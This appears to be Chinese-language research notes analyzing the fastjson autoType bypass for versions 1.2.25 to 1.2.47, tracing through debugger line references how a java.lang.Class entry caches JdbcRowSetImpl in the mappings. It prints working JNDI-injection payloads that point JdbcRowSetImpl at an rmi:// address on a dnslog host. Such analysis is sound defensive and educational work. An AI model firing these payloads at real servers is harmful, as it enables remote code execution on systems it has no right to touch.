0X01 fastjson 1.2.25修了什么
用1.2.24的payload打一遍,autotype被拦截
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
对比 1.2.24 和 1.2.25的看看
在加载class的同时检测加载的类
先进行了黑名单,黑名单命中就没了;
黑名单列表
再进行白名单,白名单命中直接过
白名单
所以,针对1.2.25的修改做突破
0X02 1.2.25到1.2.47的ParserConfig.class checkAutoType函数
改成了对比hash
0X03 看看1.2.25 - 1.2.47的payload是怎么突破的
1 payload
String string = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://4444.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}}}";
2 第一个解析 java.lang.Class
ParserConfig.class中
checkAutoType函数-> java.lang.Class 顺利通过
在 mapping列表中(86个,没有java.lang.Class),没有找到,所以从 this.deserializers.findClass中寻找(按理解,是基础类,1024个),找到了,返回。
3 第二个解析 com.sun.rowset.JdbcRowSetImpl
在checkAutoType中
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
跳转到getClassFromMapping函数,mappings从86个变成87个,多了一个com.sun.rowset.JdbcRowSetlmpl,之后顺利拿到class,在737返回。
4 什么时候把jdbc塞进mappings的
这个mapping,第一个还没看到。那么可能是第一次执行后塞进去的
我们直接在TypeUtils.class里搜索"mappings.put(" ,loadClass里三次调用,也就是说如果调用这个loadClass可能会塞进来
直接打上三个断点,看看是否是通过这里,被塞进来的
发现确实是第一个解析完后,在解析第二个之前就塞进来了。在293行走到了TypeUtils的loadclass传入jdbc函数。
具体找找在哪里,跟进去
在fastjson/serializer/MiscCoded.class: 287中,调用loadClass,把com.sun.rowset.JdbcRowSetImpl传进去。
那么问题,com.sun.rowset.JdbcRowSetImpl哪来的,明明className是 java.lang.class。发现还是DefaultJSONParser的parse来的。
com.sun.rowset.JdbcRowSetImpl来自parse时, lexer.stringVal(),java.lang.Class的作用,会调用到这里。
stringVal()是接口函数 (fastjson/parser/JSONLexerBase.class),具体实现的地方是fastjson/parser/JSONScanner.class,在下图1-1257 Step into进入。
没有 hasSpecial,所以取42到42+29 com.sun.rowset.JdbcRowSetlmpl
5 关于java.lang.class
为什么是java.lang.class?
因为反序列化处理类是MiscCodec。
这种映射关系在哪里定义的?
DefaultJSONParser.class 292行 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
跳转ParserConfig.class,定义了1023种 类:反序列化处理类的映射关系
6 由上而下
payload
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
parseObject:201 JSON->
--parse:128, JSON->
----parse:137, JSON->
------parse:1293,DefaultJSONParser-> [return this.parse((Object)null);]
--------parse:1327,DefaultJSONParser [case 12]
第一轮,解析到第一段内容 name: {}
[文件] DefaultJSONParser.class
488行 obj = this.parseObject((Map)input, key); key:name
--[文件] DefaultJSONParser.class
--276行 第一个java.lang.Class经过checkAutoType后
--292行 获取 "java.lang.class"的反序列化处理类 MiscCodec: ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
--293行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--进入deserializer.deserialze-MiscCodec
----[文件] MiscCodec.class-deserialze:
----229行 objVal = parser.parse();
------[文件] DefaultJSONParser.class:
------1257 parser函数 case 4
------String stringLiteral = lexer.stringVal();
--------[文件] fastjson.parser.JSONScanner.class:
--------return !this.hasSpecial ? this.subString(this.np + 1, this.sp) : new String(this.sbuf, 0, this.sp);
--------返回com.sun.rowset.JdbcRowSetImpl的objVal
----287行 return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
------[文件] fastjson.util.TypeUtils.class:
------loadClass() 858行 把com.sun.rowset.JdbcRowSetImpl 放到mappings中
第二轮,解析第二段内容 x:{}
488行 obj = this.parseObject((Map)input, key); key:x
--[文件] DefaultJSONParser.class
--276行 typename="com.sun.rowset.JdbcRowSetImpl" 进入checkAutoType
----[文件] ParserConfig.class
----728行 Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
------[文件] TypeUtils.class
------return (Class)mappings.get(className);
------mappings里已经有com.sun.rowset.JdbcRowSetImpl了
----736行 return clazz;
--293 行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--loadclass 触发JdbcRowSetImpl
7 回到1.2.47
loadClass:1242, TypeUtils (com.alibaba.fastjson.util)
mappings.put(className, clazz);
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
return loadClass(className, classLoader, true);
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
Object obj = deserializer.deserialze(this, clazz, fieldName);
�由此修改mappings